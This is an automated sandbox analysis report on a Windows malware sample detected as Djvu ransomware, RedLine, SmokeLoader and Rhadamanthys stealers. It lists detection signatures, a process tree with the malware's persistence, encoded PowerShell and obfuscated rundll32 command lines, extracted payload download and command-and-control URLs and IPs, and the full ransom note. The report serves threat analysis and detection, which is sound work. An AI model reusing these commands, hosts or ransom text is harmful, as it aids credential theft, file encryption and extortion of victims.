Edit tour

Windows Analysis Report
aw9Ynwqd1x.exe

Overview

General Information

Sample Name:	aw9Ynwqd1x.exe
Analysis ID:	791295
MD5:	b5c3c3d5eb5e6b5415ac4d87e3c46850
SHA1:	9aa4014de1b622844ddfa4c7ddb17ae384289cd2
SHA256:	b7948c22484bddce96a2713da0a6bda18cfd0487db9239ed0fd1790552d5e6b2
Tags:	exeTeamBot
Infos:

Detection

Djvu, RHADAMANTHYS, RedLine, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (overwrites its own PE header)

Yara detected AntiVM3

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Yara detected RHADAMANTHYS Stealer

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Yara detected Djvu Ransomware

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Encrypted powershell cmdline option found

Queries memory information (via WMI often done to detect virtual machines)

Machine Learning detection for sample

Allocates memory in foreign processes

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal Bitcoin Wallet information

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Uses schtasks.exe or at.exe to add and modify task schedules

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Hides threads from debuggers

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

.NET source code references suspicious native API functions

Queues an APC in another process (thread injection)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

One or more processes crash

Contains functionality to query locales information (e.g. system language)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Yara detected Keylogger Generic

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Contains functionality for read data from the clipboard

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality to read the clipboard data

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

PE file does not import any functions

Installs a raw input device (often for capturing keystrokes)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Allocates memory with a write watch (potentially for evading sandboxes)

Detected TCP or UDP traffic on non-standard ports

Contains capabilities to detect virtual machines

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Classification

Process Tree

System is w10x64

aw9Ynwqd1x.exe (PID: 1536 cmdline: C:\Users\user\Desktop\aw9Ynwqd1x.exe MD5: B5C3C3D5EB5E6B5415AC4D87E3C46850)

explorer.exe (PID: 3452 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

336E.exe (PID: 1568 cmdline: C:\Users\user\AppData\Local\Temp\336E.exe MD5: 261B1DB94CCF4266128E2EB71A80FDA4)

schtasks.exe (PID: 3680 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

2560.exe (PID: 2136 cmdline: C:\Users\user\AppData\Local\Temp\2560.exe MD5: 0A006808F7AA017CAF2DF9CE9E2B55A2)

2560.exe (PID: 3152 cmdline: C:\Users\user\AppData\Local\Temp\2560.exe MD5: 0A006808F7AA017CAF2DF9CE9E2B55A2)

226F.exe (PID: 5992 cmdline: C:\Users\user\AppData\Local\Temp\226F.exe MD5: EA25CE2F3580AF1DD771BAC5B0D2BF83)

ngentask.exe (PID: 816 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe MD5: ED7F195F7121781CC3D380942765B57D)

fontview.exe (PID: 4020 cmdline: C:\Windows\SYSWOW64\fontview.exe MD5: 218D53564FB0DD0CAFBBF871641E70F7)

rundll32.exe (PID: 5980 cmdline: "C:\Users\user\AppData\Roaming\nsis_uns5aa2a3.dll",PrintUIEntry |5CQkOhmAAAA|1TKr5GsMwYD|67sDqg8OAAl|xYmwxC0TNSO|1k8B3tZkgiyf2sAZQByAG4XAP9sADMAMgAuAKVkHwBs8|AtBQPz8FP|AFoAeQBPAGL7AEEnAEMAaAA3|wBVAEsAZwBJ|i0CWUiD7CjoBP8CAABIg8Qow||MzMxMiUQkGP9IiVQkEEiJTPskCF0BSItEJDBvSIkEJIEBOEhvAL8ISMdEJBAtAet9DoEBEEiDwAGPAd0QgQFASDmWAHMl|p8DiwwkSAPISF+LwUiLTKsBVHsA|wPRSIvKigmI9wjrwWYFZUiLBPslYPPwM8lIi1D|GEg70XQ2SIP|wiBIiwJIO8L|dCpmg3hIGHX|GkyLQFBmQYPvOGt0BxERS3UI|hEQeBAudAVIi78A69VIi0j9AMH+agBAU1VWV0FUv0FVQVZBV10BZv+BOU1aTYv4TP+L8kiL2Q+F|P7z8ExjSTxBgTz|CVBFAAAPheq+8|BBi4QJiPPwhf|ASI08AQ+E1t5qEYO8CYwtAQ+E|cfz8ESLZyBEi|9fHIt3JESLT|8YTAPhTAPZSP8D8TPJRYXJD|uEpPPwTYvEQYv|EEUz0kgD04r|AoTAdB1BwcrvDQ++wPoAAUQD|dC|EXXsQYH6qv|8DXx0DoPBAf9Jg8AEQTvJc|9p68aLwQ+3DP9ORYssi0wD6+90WDPtqhB0UUH7ixTBANMzyYoCf0yLwusPwcnIEXsDyOUQAUGKANUQ|+0zwDP2QTsM+bbgEKYAg8YBg|j|CHLu6wpIi8v|Qf|VSYkE94P9xeQQxAQ7bxhy|a9mAUFfQV5BXb9BXF9eXVszF0jvgexgAWQAi+no|2b+||9IhcAPW4SYdSBMja8BiysQ38gz|+ibfSCNX|8ETI1FRjPSi9|L|1QkaIAgTIuv4A+Ea3UgRagQM|fAi9ORIEiJfCT1IKYgcIAgSIvwD|OES3UgpiBQSI1W|whEjUdASI2M|SSFEUiL2Oh8|a5+II1WSN4gEOIhzPbz8Ohn7yBEiwaN01cIQSCmIFjKIYmEaySAhxLe8|CLDtogj1iJjCRxEQcwkSDo7THvIIucLTJMi12|OkiD+2xIiiAw|0yJZCQ4TIuk7hoyTIlchAGEJNy2hxGGko0RjUdLMIz7JPDz8EmL1Ojp7fwFMIqceDJIjYT+eDJBgPMhjU9s90QwGKQCg+kBdffzgbx4MiFSZXi|dU2LhCT0IjGU+yT4NQHCSDvYcv84g|psdjNEjXtJQPoAlEG4AJgAeqYgQMoi+HQZRLYwvsAxSY1UJGyRIEnfg+hs6GuCMEiL|c6mIHhIhf90Es+LVUJMjjAbMUiN|0wkQP|XSIHEAHQhYSQtCC0B MD5: 73C519F050C20580F8A62C849D49215A)

dllhost.exe (PID: 4924 cmdline: C:\Windows\system32\dllhost.exe MD5: 2528137C6745C4EADD87817A1909677E)

Library.exe (PID: 4500 cmdline: "C:\Users\user\AppData\Local\Temp\Library.exe" MD5: EC5A11FC9A9CB3111AFA460FEC201D3D)

powershell.exe (PID: 4908 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAOQAwAA== MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 4044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WerFault.exe (PID: 3304 cmdline: C:\Windows\system32\WerFault.exe -u -p 5980 -s 648 MD5: 2AFFE478D86272288BBEF5A00BBEF6A0)

dbjigst (PID: 996 cmdline: C:\Users\user\AppData\Roaming\dbjigst MD5: B5C3C3D5EB5E6B5415AC4D87E3C46850)

svcupdater.exe (PID: 5684 cmdline: C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe MD5: A4C9D357EA9C7679D978EB985F61E6C5)

svcupdater.exe (PID: 2636 cmdline: C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe MD5: A4C9D357EA9C7679D978EB985F61E6C5)

cleanup

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://uaery.top/dl/build2.exe", "http://drampik.com/files/1/build3.exe"], "C2 url": "http://drampik.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-cud8EGMtyB\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0637JOsie", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu01T\\/gszGuz7iKnpiRXv\\\\nGwWvl\\/ZhD6D24AJOT+SbHfvz6LGasPMGyfXmLe6Fo7e0cUtl3OwZeuwDkg4lB4eE\\\\nFp6tv8RPx3NAGJjylTPy7ZhLTxEuSD0YIP62Rs6Cek+fvfF53PxiGJhQuIxfvAVe\\\\nsFSNJ1+fNU92+JI5SRY0ZJdMezrQYJC7YY0onlwpLsiPbN5Osc6Jw2oabAVAS6rn\\\\nwQkW0GgIFh9e9trQc9Rdc5bf9X3s95J0jKg0TaTVFdw6RECS2cvRD1tZwc196EJ1\\\\nc5nBmBlLFWZqwkzVp4AORRnGGqz\\/OUTXiUmgNX+umpwUvdthK+7o1zc87nS20aU+\\\\nowIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: RedLine

{"C2 url": "89.208.103.88:37538", "Bot Id": "birj proliv", "Authorization Header": "9941068ef2768ed5ba54fc3eed22d795"}

Threatname: SmokeLoader

{"C2 list": ["http://bulimu55t.net/", "http://soryytlic4.net/", "http://bukubuka1.net/", "http://novanosa5org.org/", "http://hujukui3.net/", "http://newzelannd66.org/", "http://golilopaster.org/"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.402603602.0000000002C30000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000F.00000002.362651886.0000000004A00000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000F.00000002.362651886.0000000004A00000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000D.00000002.403573170.0000000004921000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000D.00000002.403573170.0000000004921000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.291031913.0000000004931000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.291031913.0000000004931000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000018.00000003.635769063.000002275D541000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000010.00000003.367401202.000000000D030000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000010.00000003.367401202.000000000D030000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a468:$pat14: , CommandLine: 0x134a1:$v2_1: ListOfProcesses 0x13280:$v4_3: base64str 0x13e03:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x12813:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
00000018.00000003.517892986.000002275DAB3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000010.00000003.469890360.00000000016EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000F.00000002.361737434.0000000002EA1000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000003.383001700.0000000003666000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000013.00000003.383001700.0000000003666000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000018.00000003.465106371.000002275D66D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000E.00000002.577154071.00000000005B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000D.00000002.402735340.0000000002C50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000D.00000002.402735340.0000000002C50000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.290704860.0000000002C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.290704860.0000000002C00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000018.00000003.463672074.000002275D472000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000010.00000002.479891077.00000000016F2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000003.519715452.000002275DCB6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.386704960.00000000053B1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000013.00000002.467467655.00000000035B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000013.00000002.467467655.00000000035B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000D.00000002.403103692.0000000002C80000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5b05:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.290595055.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000018.00000003.480168588.000002275D6F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000019.00000003.535647654.0000019D88EF0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000010.00000003.369928370.000000000D032000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.290961017.0000000002C60000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5a05:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000012.00000002.456297712.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000003.387503810.00000000055A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000E.00000002.577358269.0000000000678000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1318:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000018.00000003.478098878.000002275D46D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2560.exe PID: 2136	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 2560.exe PID: 2136	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x31f24:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 2560.exe PID: 3152	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 2560.exe PID: 3152	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3268d:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: ngentask.exe PID: 816	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: ngentask.exe PID: 816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: fontview.exe PID: 4020	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: fontview.exe PID: 4020	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
Process Memory Space: fontview.exe PID: 4020	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 48 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
16.3.226F.exe.d030000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
16.3.226F.exe.d030000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a468:$pat14: , CommandLine: 0x134a1:$v2_1: ListOfProcesses 0x13280:$v4_3: base64str 0x13e03:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x12813:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
18.2.ngentask.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.ngentask.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a468:$pat14: , CommandLine: 0x134a1:$v2_1: ListOfProcesses 0x13280:$v4_3: base64str 0x13e03:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x12813:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
17.2.2560.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
17.2.2560.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.2560.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.2560.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
